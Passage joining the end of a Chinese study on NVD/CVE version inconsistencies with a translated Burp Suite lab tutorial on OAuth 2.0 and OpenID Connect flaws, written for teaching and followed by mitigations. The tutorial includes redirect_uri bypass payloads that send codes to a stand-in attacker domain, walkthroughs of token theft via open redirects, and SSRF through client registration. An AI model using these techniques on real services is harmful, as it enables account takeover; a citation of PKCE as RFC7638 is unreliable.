结果证实模型能够准确地从非结构化文本中提取漏洞软件名称和相应的版本。
### 五、不一致性测评及结果
**匹配软件名称。** 给定CVE ID，首先匹配NVD数据库中列出的漏洞软件名称和非结构化文本中列出的漏软件名称。 更具体地说，让C =
{（N1，V1），（N2，V2），...，（Nn，Vn）}是从NVD中提取的漏软件名称 - 版本对，并且C‘= {（N1， V
‘1），（N2，V‘2），...，（Nm，V‘ m）}是从外部文本中提取的名称版本对。 在数据集中，大约20％的CVE
ID与多个软件名称相关联。本文只关注NVD和外部端口之间匹配的软件名称，本文匹配方法可以灵活地处理相同软件名称略微不同的格式。如果匹配词的数量高于或等于不匹配的单词数，就认为两个名称是匹配的。例如，“Microsoft
Internet Explorer”和“Internet Explorer”匹配，因为匹配的单词比不匹配的单词更多。
**版本一致性测评。** 给定软件名称N1，寻求测评报告版本V1和V’1的一致性。 检查两种类型的匹配。首先严格匹配即V1和V’1彼此完全匹配（V1 =
V’1）。 其次，松散匹配意味着一个版本是另一个版本的超集（V1⊆V’1或V1⊇V’1）。 请注意，松散匹配的案例包含严格匹配的案例。
除了松散匹配之外，它意味着V1和V’1每个都包含一些不被另一个报告的漏洞版本（即冲突的信息）。
在所有78296个CVE ID中，总共提取18764个唯一的漏洞软件名称。这些漏洞软件名称对应于CVE摘要中的154569个软件名称-版本对、外部漏洞报告中的235350个名称-版本对以及NVD数据库中的165822个名称-版本对。在NVD和其他源之间匹配软件名称后，剩下389476要检查一致性。
在名称-版本对程度上，发现305，037对严格匹配(78.32%)。这意味着来自NVD的名称版本对中约有22%与外部信息源不匹配。如果在松散匹配条件下，发现361，005对松散配对(93.49%)。
将匹配的结果聚合到报表程度，虽然松散匹配率仍较高(90.05%)，但严格匹配率明显降低。只有59.82%的漏洞报告/CVE摘要严格匹配NVD条目。这是因为严格匹配的报告要求所有提取的版本都与NVD的版本相匹配。
下图显示了NVD条目与5个信息网站和CVE网站之间的匹配率。CVE具有较高的匹配率（约70%的严格匹配率）。考虑到NVD据称与CVE反馈同步，这并不奇怪。更有趣的是，发现漏洞数据库与NVD的匹配率更高。通过进一步研究了NVD条目的发布日期以及其他网站上相应的报告，发现大部分（95.8%）的漏洞数据库报告是在创建NVD条目之后发布的。然而，81%的漏洞数据库报告比其他4个网站的报告发布得更早，这可能有助于引起NVD团队的注意，以便进行更新。
下图显示了松散匹配对中声明漏洞版本范围过高或过低的NVD条目的百分比。此分析中不包括“严格匹配”对，并不惊讶地发现NVD条目声明漏洞版本范围过高。考虑到NVD应该搜索不同的源以使条目保持最新，因此NVD条目覆盖更多易受攻击的版本是合理的。即使把5个网站和CVE的易受攻击版本联合起来，NVD仍然覆盖着更多的版本。
下图显示了NVD和其他6个信息源（CVE和5个报告网站）之间的一致性水平随着时间的推移而下降。严格匹配率随时间有一定波动，但仍呈下降趋势。对两个匹配率进行线性回归，发现两者都有负斜率（分别为-0.0015和-0.0056）。结果表明，在过去20年中，总体一致性随着时间的推移而下降。然而，如果仔细观察近三年（2016年至2018年），一致性水平开始上升，这是一个好迹象。
当比较CVE和5个外部网站之间的一致性时，下图显示了不同的趋势。CVE与外部站点的一致性水平相对稳定，略有上升趋势。对两个匹配率进行线性回归，这两个匹配率均返回正斜率（分别为0.0006和0.0028）。这表明CVE网站在总结漏洞版本方面做得更好。
最后，通过分析与外部报告发布时间相关的NVD条目创建/更新时间来推断不一致的原因。更具体地说，NVD为每个CVE
ID维护一个“更改历史记录”，这允许提取条目创建时间以及添加/删除新软件版本的时间。然后可以将其与5个网站上相应报告的发布时间进行比较。为此随机选择了5000个CVE
ID，其在NVD中的易受攻击版本与5个网站中的版本不一致。
本文发现66.3%的NVD条目自第一次创建以来从未更新过。这包括5.8%的NVD条目，这些条目是在5个网站中的任何一个发布报告之前创建的。例如，对于CVE-2006-6516，NVD声称KDPICS1.16在2006年是存在漏洞的。2010年以后，SecurityFocus报告称，1.11版和1.16版都是存在漏洞的。直到今天，NVD才添加新版本1.11。对于NVD条目中更大的部分（60.5%），它们是在至少一个外部报告可用时创建的。一个例子是CVE-2016-6855，因为漏洞数据库声称Eye
of Gnome 3.10.2在2016年8月存在漏洞。一个月后，创建了不包括3.10.2版本的NVD条目。自那时以来，没有进行任何更新。
对于剩下的33.7%的NVD条目，它们在条目创建后至少漏洞版本进行了一次更新。对此比较了5个网站上外部报告的最新更新时间和发布时间，发现所有的NVD条目在一些外部报告发布时间之后都进行了最新的更新。总的来说这些结果表明，NVD团队没有有效地包括来自外部报告的漏洞版本，尽管这些报告在条目创建/更新时已经可用。结果反过来反映了自动监控不同在线源和提取漏洞版本以进行更主动的版本测试和条目更新的需要。
本文得出的结果意味着系统管理员或安全分析师不能简单地依赖NVD/CVE信息来确定受影响软件的漏洞版本。
至少，浏览外部漏洞报告有助于更好地覆盖潜在的漏洞版本。深入的案例研究证实，NVD/CVE数据库和第三方报告要么错过了真正漏洞软件版本，要么错误地包含了非漏洞版本。
错误的信息可能会使漏洞软件无法打补丁，或者增加安全分析师的手动工作以进行风险评估。 社区正日益需要系统地纠正漏洞报告中不准确的声明。 | 社区文章 |
# 梨子带你刷burpsuite靶场系列之高级漏洞篇 - OAuth2.0认证漏洞专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 高级漏洞篇介绍
> 相对于服务器端漏洞篇和客户端漏洞篇，高级漏洞篇需要更深入的知识以及更复杂的利用手段，该篇也是梨子的全程学习记录，力求把漏洞原理及利用等讲的通俗易懂。
## 高级漏洞篇 – OAuth2.0认证漏洞专题
### 什么是OAuth？
OAuth是一种常用的授权框架，它使网站和应用程序能够请求对另一个应用程序上的用户帐户进行有限访问。值得注意的是，OAuth允许用户授予此访问权限，而无需将其登录凭据暴露给请求的应用程序。这意味着用户可以选择他们想要共享的数据，而不必将其帐户的完全控制权交给第三方。基本的OAuth过程广泛用于集成第三方功能，这些功能需要访问用户帐户中的某些数据。例如，应用程序可能使用OAuth请求访问电子邮件联系人列表，以便它可以建议人们联系。但是，同样的机制也用于提供第三方认证服务，允许用户使用他们在不同网站上的帐户登录。
尽管OAuth 2.0是当前标准，但一些网站仍然使用旧版1a。 OAuth 2.0 是从头开始编写的，而不是直接从OAuth
1.0开发的。所以两者非常不同。后文中所有的OAuth均特指OAuth2.0
### OAuth2.0是如何运行的？
OAuth2.0设计初衷是在应用之间共享特定数据的访问权限，它通过在三个不同方，客户端应用程序、资源所有者、OAuth服务提供者之间定义一系列交互来运作
* 客户端应用程序(想要访问用户数据的网站或Web应用程序)
* 资源所有者(客户端应用程序想要访问数据的所有者)
* OAuth服务提供者(控制用户数据和访问权限的网站或应用程序，它们提供用于与授权服务器和资源服务器进行交互的API来支持OAuth)
可以使用多种不同的方法来实现实际的OAuth流程，这些方法统称为OAuth流或授权类型，burp主要讲解其中的授权码和隐式授权，这两种授权类型包括以下几个阶段
* 客户端应用程序请求访问用户数据的子集，指定它们要使用的授权类型以及想要哪一种权限
* 提示用户登录OAuth服务，并询问他们是否同意请求的访问权限
* 客户端应用程序接收一个唯一的访问令牌(Access Token)，它可以证明它们拥有所请求数据的访问权限
* 客户端应用程序使用该令牌(Token)调用API，从资源服务器中获取相关数据
## OAuth授权类型(grant type)
这是OAuth必须了解的重要概念。
### 什么是授权类型？
授权类型确定OAuth流程中涉及的确切步骤顺序，授予类型还会影响客户端应用程序在每个阶段与OAuth服务的通信方式，包括访问令牌的发送方式，所以，授权类型也被称为OAuth流，在客户端应用程序开始流程之前必须配置OAuth服务为特定的授权类型，并将要使用的授权类型包含在初始授权请求中，而且每种授权类型都是处于不同的复杂性和安全性考虑的，burp主要介绍常见的授权码和隐式两个类型
### OAuth范围(scope)
任何OAuth授权类型，客户端应用程序都需要指定要访问的数据和要进行的操作类型，并将这些信息包含在发送给OAuth服务的请求中的参数scope中，经常使用标准化的OpenID
Connect作用域来进行认证
### 授权码流
客户端应用程序和OAuth服务首先通过浏览器的重定向来交换一系列HTTP请求，一启动这个授权流程，此时会询问用户是否同意访问，如果同意则向客户端发放授权码，然后客户端与OAuth服务交换这个码来接收访问令牌，它可以用于调用API来获取相关的用户数据，这个交换过程全程是经过安全的，预置的服务器端到服务器端的通道进行的，所以该过程对于最终用户是透明的，当客户端应用程序首次向OAuth服务注册时就会建立这个安全通道，此时还会生成一个client_secret，用于在发送服务端到服务端请求时用client_secret对客户端应用程序进行认证，因为最敏感的数据不经过浏览器发送，所以这种授权类型某种程度上是最安全的，为了更直观地理解这个过程，burp给出一个序列图
下面我们具体介绍每一步的内容
**1.授权请求**
客户端应用程序向OAuth服务的/authorization端点发送请求以获取指定用户数据的访问权限，该请求通常包含如下查询参数
* client_id(强制参数，包含客户端应用程序的唯一标识符)
* redirect_uri(将授权码发送到客户端应用程序时浏览器会被重定向到其指定的URI 也被称为回调URI或回调端点，该参数使用频率很高)
* response_type(指定客户端应用程序期望的响应类型，对于授权码授权类型，其值应该为code)
* scope(指定客户端应用程序要访问用户数据的哪个子集，其值可以是OAuth提供程序设置的自定义值，也可以是OpenID Connect规范定义的标准化范围)
* state(与客户端应用程序的当前会话相关的唯一的不可预测的值，该参数还充当客户端应用程序CSRF令牌的形式)
授权请求示例如下
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
**2.用户登录并处理请求**
授权服务器收到初始请求后会将用户重定向到登录页面，该页面会提示他们登录OAuth提供程序的账户，通常为社交账号，然后会向用户提供客户端应用程序要访问的数据列表，用户可以选择是否同意此访问，值得注意的是一旦用户同意了访问的范围，在会话有效期内会自动完成该步骤
**3.授权码发放**
如果用户同意请求的访问，浏览器就会被重定向到redirect_uri指定的callback端点，其值有时也可与state参数值相同，像这样
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
**4.访问令牌请求**
客户端应用程序收到授权码以后需要将其兑换为访问令牌，客户端应用程序会向OAuth服务发送POST请求/token端点，全程是在透明通道中进行的，该请求除了client_id和code参数还要有client_secret和grant_type，client_secret由OAuth服务注册时分配，用于对客户端应用程序进行身份验证，grant_type告知端点客户端应用程序使用哪种授权类型，很明显，此时应为authorization_code，像这样
POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
**5.访问令牌发放**
OAuth服务验证由客户端应用程序发过来的访问令牌请求，验证通过以后会向其发放其请求范围内的访问令牌，像这样
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid profile",
…
}
**6.API调用**
客户端应用程序接收到访问令牌以后就可以通过API调用OAuth服务的/userinfo端点，调用请求中会包含一个有token_type和access_token的Authorization请求头字段以表明其拥有访问权限，像这样
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
**7.资源发放**
OAuth接收到API调用请求时会验证其中的access_token，确认其是否有效并且是否与所请求客户端应用程序匹配，通过验证后返回所请求的资源，像这样
{
"username":"carlos",
"email":"[email protected]",
…
}
### 隐式流
隐式就简单多了，客户端应用程序在用户同意后就能接收到由OAuth服务发放的访问令牌，跳过了用授权码兑换访问令牌的过程，所以相对应的，这种授权类型的安全性会大打折扣，而且全程都是经过浏览器的，风险太大了，所以该授权类型更适合单页应用程序和本机桌面应用程序，同样的burp也提供了一个很直观的序列图
下面我们详细介绍每一步
**1.授权请求**
与授权码流不同的是必须要将参数response_type设置为token，像这样
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
**2.用户登录并处理请求**
该阶段与授权码流相同
**3.访问令牌发放**
虽然OAuth服务会重定向到redirect_uri指定的授权请求，但是它会将访问令牌和其他相关数据拼接到URL中发回，客户端应用程序需要利用脚本对其进行提取并存储，像这样
GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
**4.API调用**
客户端应用程序在提取到token_type和access_token后就使用相同的方式向/userinfo端点发出请求，不过这个过程也是经过浏览器，像这样
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
**5.资源发放**
资源服务器验证令牌的有效性以及其是否属于所请求的客户端应用程序，如果通过验证，则返回所请求的数据，像这样
{
"username":"carlos",
"email":"[email protected]"
}
## OAuth认证
现如今OAuth已经逐渐成为身份验证的手段，在OAuth身份验证中OAuth返回的数据会用于基于SAML的单点登录(sso)，OAuth身份验证通常这样实现
* 用户选择使用其社交媒体账户登录的选项，然后客户端应用程序使用社交媒体网站的OAuth服务来请求访问用于标识用户的数据
* 客户端应用程序收到访问令牌后会调用/userinfo端点向资源服务器请求此数据
* 客户端应用程序接收到数据后将使用它代替用户名来登录用户，通常使用访问令牌代替
## OAuth身份验证漏洞是怎么产生的？
该漏洞部分是由于OAuth规范在设计上相对模糊且灵活，虽然每种授权类型的基本功能都需要一些强制性组件，但绝大多数实现是完全可选的，这就导致错误的操作会引发不良后果，还有一个原因就是普遍缺乏内置的安全功能，安全性几乎完全依赖于开发人员使用正确的配置选项组合并在顶部实施自己的其他安全性措施，有的授权类型因为全程都经过浏览器，这就导致所有的请求包都可以被拦截到，从而遭到恶意修改
## 识别OAuth认证
如果登录应用程序会重定向到第三方网站进行登录，大概率是使用了OAuth，进一步探测是通过在burp代理中观察经过浏览器的HTTP请求有哪些，无论哪一种授权类型，整个流程的第一个请求都是向/authorization端点发出的请求，其特点为URL中包含了很多OAuth使用的查询参数，值得注意的查询参数有client_id、redirect_uri、response_type，像这样
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
## 信息收集
在观察开启OAuth流程的请求包中有时可以看出使用的是哪一款OAuth服务，并且API也会有详细的文档，这些文档可以提供很多信息，例如端点的名称以及配置选项，当知道授权服务器的主机名以后，向其端点发出GET请求可以得到json格式的配置信息，像这样
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
## OAuth认证漏洞的利用
### OAuth客户端应用程序的漏洞
**隐式流实现不当**
在隐式流中，OAuth服务会将访问令牌以URL查询参数的形式通过浏览器返回给客户端应用程序，但是为了维持会话，客户端应用程序会通过浏览器向OAuth服务发出POST请求提交这个访问令牌，但是OAuth并没有任何验证访问令牌与其标识信息是否匹配的能力，这就是隐式信任由客户端应用程序发送来的身份信息，这就使攻击者可以通过篡改标识信息让指定用户也获得所请求的权限
**配套靶场：OAuth隐式流中的认证绕过**
先用预留的用户登录，发现OAuth流程发起的请求包
从上图来看会重定向到/oauth-callback调用API，然后我们再看看发向/oauth-callback的请求包，我们看看响应中有没有有价值的信息
从响应来看会请求/me去验证访问权限，所以我们接着跟踪到发向/me的请求包的响应
我们发现响应中有一个新的字段，从字面意思来看是邮箱验证通过了，所以后续的请求应该都是默认同意的了，所以我们找到POST请求包/authenticate，修改其中的邮箱即可，因为其中的token是通过授权的，重放包以后我们就可以登录目标用户而不需要知道它的密码了
**有缺陷的CSRF防护**
burp强烈建议非特殊原因不要缺少使用state参数，理想情况下，state参数应包含一个不可预测的值，如开启会话时某些相关信息的hash值，然后这个值以csrf令牌的形式在客户端应用程序和OAuth服务之间来回传递，但是如果整个OAuth流程不包括state参数的话就可以导致类似csrf之类的OAuth的漏洞，例如将用户绑定到属于自己的社交媒体账号上
**配套靶场：强行链接OAuth配置文件**
首先我们登录测试用户，然后进入用户中心，连接社交媒体，然后输入测试社交媒体账号，现在HTTP
History中就有了我们所有的观察样本了，我们来剖析一下，我们找到了发起OAuth流程
我们看到发起OAuth流程的请求中只有访问令牌这一个查询参数，并没有像state一样的防csrf措施，所以我们只要再截获一个有效的含有访问令牌的请求就可以利用csrf将社交媒体账户与受害者账户连接起来，于是我们重新拦截一个这样的请求
为了保持访问令牌的有效性，我们在拦截到包以后将访问令牌暂存然后丢掉这个包，然后我们在Eploit Server中构造payload
然后我们将payload分发给受害者以后，我们重新使用社交媒体账户登录发现登录进来的是管理员账号，我们就可以删除指定用户了
### 缺少授权码和访问令牌
关于OAuth最著名的漏洞可能是OAuth服务本身的配置使攻击者能窃取授权代码或访问与其他用户账户关联的令牌，窃取到有效的授权码或访问令牌后即可访问受害者的数据，甚至可以以受害者身份登录任何使用相同OAuth服务的任何客户端应用程序，一般开启OAuth流程都会由浏览器将授权码或者访问令牌发送到请求授权的redirect_uri参数指定的/callback端点，但是如果OAuth服务没有正确地验证，则攻击者可以篡改redirect_uri参数指定的/callback端点从而诱使受害者将授权码或者访问令牌发送到攻击者指定的端点，在授权码流中，攻击者甚至可以在发起OAuth流程之前获取到授权码，然后再将其发送到OAuth服务进行验证从而访问受害者账户甚至不需要知道访问令牌，只要OAuth服务与受害者之间存在有效对话，客户端应用程序就会代替攻击者完成访问令牌交换的过程，比较安全的做法就是在交换访问令牌的时候也要在请求中包含redirect_uri参数，服务器检查是否与初始授权请求中收到的匹配，如果不匹配则拒绝交换，因为这个过程对浏览器是透明的，所以攻击者无法控制这个过程
### 配套靶场：通过redirect_uri劫持OAuth账户
我们先用测试用户登录，观察HTTP
History发现开启OAuth请求的查询参数中有一个参数redirect_uri，该请求会将授权码等发往这个参数指定的端点，然后我们把这个请求发到repeater中，将这个参数值试着修改成Exploit
Server的域名
我们在Exploit
Server中接收到了由客户端应用程序发来的授权码，说明我们是可以通过篡改参数redirect_uri值来窃取授权码的，于是我们在Exploit
Server构造payload
然后分发给受害者以后我们就能在日志中接收到窃取的授权码，有了授权码以后，将其附在端点/oauth-callback的code参数中，剩下的流程会由客户端应用程序替我们完成的，将响应发到浏览器中，就成功访问目标用户页面，我们就可以删除指定用户了
**有缺陷的redirect_uri验证**
有的OAuth会通过设置redirect_uri白名单来缓解攻击者篡改redirect_uri值的攻击，但是可以通过不断测试以观察出绕过方法
* 有的缓解方法是通过匹配字符串，所以可以通过对字符串进行删减尝试观察
* 可以通过将其他域以参数的形式附加在redirect_uri后面可能会因为对URI解析的差异绕过白名单限制，例如`https://default-host.com &[@foo](https://github.com/foo "@foo").evil-user.net#[@bar](https://github.com/bar "@bar").evil-user.net/`
* 还可以通过提交重复的redirect_uri参数检测是否存在服务端参数污染漏洞
* 有时候还可能对本地URI放宽审核，以localhost开头的域名可能会轻易通过白名单检测，例如`https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net`
有时候不单单只需要测试redirect_uri参数，可能更改一个参数会影响其他参数的验证
**通过代理页面窃取授权码和访问令牌**
首先要观察是否可以将redirect_uri参数更改为指向白名单域中的其他页面，例如通过目录穿越到达其他子域，例如
`https://client-app.com/oauth/callback/../../example/path`
对于授权码流需要找到可以访问查询参数的漏洞，而对于隐式流需要提取URL片段，由此引发的漏洞最常见之一为开放重定向，攻击者可以利用它作为代理，将受害者的授权码或访问令牌发送到攻击者指定的可以托管任何恶意脚本的域，对于隐式流，访问令牌的作用并不仅仅用于登录受害者账户，因为全程经过浏览器，所以还可以调用API获取敏感数据，除了开放重定向，还有其他的漏洞也可以将授权码或者访问令牌发送到其他域，例如
* 处理查询参数和URL片段的危险js
* XSS漏洞
* HTML注入漏洞
**配套靶场1：通过开放重定向窃取OAuth访问令牌**
首先我们登录测试用户，但是我们发现用户中心的API Key是隐藏的，于是我们对HTTP
History中相关的包都搜索一下，发现发向/me的GET请求的响应中有API Key
我们在窃取到访问令牌以后就可以通过重放这个请求包来获取它的API
Key了，于是我们将这个请求发到Repeater中，下面我们探索一下怎么窃取访问令牌，从burp的资料来看，肯定是要寻找开放重定向漏洞点来转发的，我们利用目录穿越以穿越到子域，通过寻找，我们发现Next
Post存在开放重定向
我们看到了仅仅通过修改path查询参数的值就能重定向到任意域，于是我们可以把这个构造到发起OAuth流程中，这里要注意一下，我们不能把初次发起OAuth流程的请求包发到Repeater，因为这时候是还没有有效会话的，要先退出再登录进来
从上图来看拼接到重定向的域名中的符号会被URL编码，所以我们要把这个响应发到浏览器才会正常地跳转，而且我们还发现响应中会包含访问令牌，于是我们在Exploit
Server构造这样的payload
分发给受害者以后我们就能接收到受害者的访问令牌了，于是我们修改之前/me的请求中的Authorization中的访问令牌，就能获得administrator的API
Key了
**配套靶场2：通过代理页面窃取OAuth访问令牌**
通过测试，发现redirect_uri也存在开放重定向漏洞，然后我们发现评论功能有一个/post/comment/comment-form，它会用postMessage方法向window.location.href属性值发送到父窗口
并且允许向任何来源发送，然后我们还发现评论表单会被包含在iframe中
这样我们就可以将结合开放重定向漏洞把发起OAuth流程的URL想办法拼接到iframe中以将访问令牌发送到指定的域，于是我们在Exploit
Server中构造这样的paylaod
分发到受害者以后我们就能在log中看到窃取的访问令牌，然后就能通过之前已知的/me路径查看administrator的API Key
### 有缺陷的范围验证
对于任何OAuth流，用户都必须定义授权的范围，但是存在某些漏洞导致攻击者可以扩大授权的范围，获得更大权限的访问令牌
**扩大范围：授权码缺陷**
在授权码流中，攻击者窃取到授权码，然后攻击者可以在交换授权码或访问令牌的请求中再添加其他的范围值，如果服务器没有对篡改的范围进行验证，则服务器会利用新的范围制作访问令牌并发放给客户端应用程序
例如，假设攻击者的恶意客户端应用程序最初使用openid电子邮件范围请求访问用户的电子邮件地址。在用户批准此请求后，恶意客户端应用程序会收到一个授权码。当攻击者控制他们的客户端应用程序时，他们可以向包含附加配置文件范围的代码/令牌交换请求添加另一个范围参数，像这样
POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile
如果服务器没有根据初始授权请求的范围验证这一点，它有时会使用新范围生成访问令牌并将其发送到攻击者的客户端应用程序，像这样
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid email profile",
…
}
然后攻击者可以使用他们的应用程序进行API调用来访问用户的个人资料数据。
**扩大范围：隐式流**
因为隐式流的所有请求都会经过浏览器，所以攻击者可以更轻而易举地在交换访问令牌的请求中添加新的范围值，只要范围值涉及的权限没有超过之前发放的权限则无需用户再次确认即可获得权限
### 未验证的用户注册
当通过OAuth验证用户时，客户端应用程序会隐式信任由OAuth提供的信息是正确的，一些提供OAuth服务的网站允许用户无需验证所有详细信息就能注册账户，包括电子邮件地址，攻击者可以使用与目标用户相同的详细信息向OAuth提供者注册账户，然后客户端应用程序可能会允许攻击者通过该账户以受害者的身份登录
## 使用OpenID Connect扩展OAuth
当用于身份验证时，OAuth通常会拓展一个OpenID Connect层，该层提供了一些与标识和身份验证用户相关的其他功能
### 什么是OpenID Connect？
OpenID
Connect是在OAuth的基础上扩展的专用身份和认证层，添加了一些可以更好地支持OAuth的认证的简单功能，OAuth最初并不是用来实现认证机制而是授权资源的访问权限的，后来有人错用于认证，在授予访问权限时默认在OAuth一端进行了认证，但是毕竟不是专门为认证设计的，所以设计了OpenID
Connect，它使通过OAuth进行认证的方式更加可靠和统一
### OpenID Connect是如何运作的？
OpenID
Connect是在基础的OAuth之上进行扩展的，从客户端应用程序角度来看，主要区别在于存在一个额外的，标准化的范围集，以及一个额外的响应类型：id_token
**OpenID Connect角色**
OpenID Connect角色与标准OAuth的角色区别在于规范使用的术语略有不同
* 依赖方(正在请求用户身份验证的应用程序，等同于客户端应用程序)
* 最终用户(正在进行身份验证的用户，等同于OAuth资源所有者)
* OpenID提供者(配置为支持OpenID Connect的OAuth服务)
**OpenID Connect权限声明和范围**
权限声明指表示资源服务器上用户信息的key:value对，所有OpenID Connect服务使用相同的作用域集，为了使用OpenID
Connect，客户端应用程序必须在授权请求中指定范围openid，然后可以包括一个或多个其他标准范围，这些范围中每个范围都对应OpenID规范中定义的有关用户声明的子集的读取访问权限
### ID令牌(Token)
OpenID Connect提供的另一个主要附加功能是id_token响应类型，返回的是一个带有json web signature(JWS)的JSON
web
token(JWT)，JWT包含基于最初请求的范围的声明列表、OAuth服务上次对用户进行身份验证的方式和时间，客户端应用程序可以使用它来确定用户时候已被充分认证，使用id_token的主要好处就是减少了客户端应用程序和OAuth服务之间需要发送的请求数量，这可以总体上提供更好的性能，无需获取访问令牌然后分别请求用户数据，包含此数据的ID令牌在用户进行身份验证后立即发送到客户端应用程序，ID令牌中传输的数据的完整性是基于JWT密码签名，虽然这样会防止一些中间人攻击，但是因为用于签名验证的加密密钥是通过同一通道传输的(有时候会暴露在/.well-known/jwks.json中)，所以仍然可能出现某些攻击，OAuth支持多种响应类型，所以客户端应用程序可以发送具有基本OAuth响应类型和OpenID
Connect的id_token响应类型的授权请求，例如
response_type=id_token token
response_type=id_token code
此时ID令牌和授权码或者访问令牌会同时发送到客户端应用程序
### 识别OpenID Connect
最简单的办法是查找强制性的openid范围，即使登录过程可能没有使用OpenID
Connect，但是也要检查OAuth服务是否支持它，可以通过添加openid范围或将响应类型更改为id_token并观察是否会触发报错，最好查看文档以了解有用信息，还可以通过从标准端点/.well-known/openid-configuration访问配置文件
### OpenID Connect漏洞
**未受保护的动态客户端注册**
OpenID规范概述了允许客户端应用程序向OpenID提供程序注册的标准化方法，如果支持动态客户端注册，则客户端应用程序可以向专用/registration端点发送POST请求，通常配置文件和文档中会提供该端点的名称，在请求正文中，客户端应用程序以JSON格式提交有关自身的关键信息，如经常需要包括列入白名单的重定向URI的数组，还可以提交一系列其他信息，如要公开的端点的名称，应用程序的名称等，burp给出了一个示例
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89
{
"application_type": "web",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"client_name": "My Application",
"logo_uri": "https://client-app.com/logo.png",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client-app.com/my_public_keys.jwks",
"userinfo_encrypted_response_alg": "RSA1_5",
"userinfo_encrypted_response_enc": "A128CBC-HS256",
…
}
有些OAuth提供程序允许动态客户端注册而无需任何身份验证，攻击者就可以注册自己的恶意客户端应用程序，里面有些属性可以当做URI来控制，可能导致二阶SSRF漏洞
**配套靶场：通过Open ID动态客户端注册的SSRF**
首先进入OpenID的配置文件/.well-known/openid-configuration
从配置文件我们可以看到很多端点以及支持的授权类型和可使用的签名算法，然后我们得知注册客户端的端点是/reg，于是我们以这样的示例构造请求包
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
"redirect_uris" : [
"https://example.com"
]
}
发送以后，发现不需要进行验证就注册成功了，并将相关信息反馈在了响应中，包括我们注册成功以后的客户端ID，经过对所有触发的HTTP请求的观察发现，在请求用户是否同意授权的时候会利用img标签加载一个图片资源
我们在HTTP
History会发现加载图片资源的请求，然后给我们可以通过logo_uri指定其加载图片资源的来源，于是我们对/reg请求包进行修改，示例如下
POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json
{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "https://YOUR-COLLABORATOR-ID.burpcollaborator.net"
}
测试的时候推荐使用burp
collaborator来接收请求，发送请求以后重新注册的客户端的logo地址就会被替换为我们指定的地址，于是我们从响应中复制出新的client_id替换到加载logo的请求URL中
我们看到burp
collaborator是可以接收到请求的，说明这个点可以向任意来源发出请求，于是我们将logo_uri替换为题目中的目标URL重新注册客户端，然后再用新的client_id加载logo资源成功获得目标字符串
**允许通过引用授权请求**
某些服务器可以有效地验证授权请求中的查询字符串，但可能无法将相同的验证充分应用于JWT中的参数，包括redirect_uri，可以在配置文件和文档中查找request_uri_parameter_supported选项以确定是否支持这个参数，也可以添加request_uri参数观察它是否有效，有时候可能未在文档中提及此功能，但是却支持该功能
## 如何缓解OAuth认证漏洞？
### 对于OAuth服务提供者
**要求客户端应用程序注册有效的redirect_uri白名单**
尽可能使用严格的逐字节比较来验证所有传入请求中的URI，仅允许完全匹配而不是模式匹配，这样可以防止攻击者访问列入白名单的域中的其他页面
**强制使用参数state**
还应通过包含一些不可预测的特定于会话的数据(如对会话cookie做取hash值)并将其值绑定到用户的会话，这有助于保护用户免受类似CSRF的攻击，这也使攻击者更难使用任何被盗的授权码
**确保访问令牌发放给发出请求的同意client_id**
还应检查请求的范围，以确保它与最初授予令牌的范围匹配
### 对于OAuth客户端应用程序
**确保完全了解OAuth工作原理的详细信息**
许多漏洞都是由于对每个阶段确切发生的情况以及如何利用这些潜在原因的简单了解导致的
**使用state参数**
**将redirect_uri参数同时发送到/authorization端点和/token端点**
**使用PKCE(RFC7638)机制提供额外的保护**
开发移动或本地桌面OAuth客户端应用程序时，通常无法将client_secret保持私有，PKCE(RFC7638)机制可以防止代码被拦截或泄漏
**在使用OpenID Connect id_token时，确保正确验证JSON Web签名(JWS)，JSON Web加密(JSE)和OpenID规范**
**留意授权码**
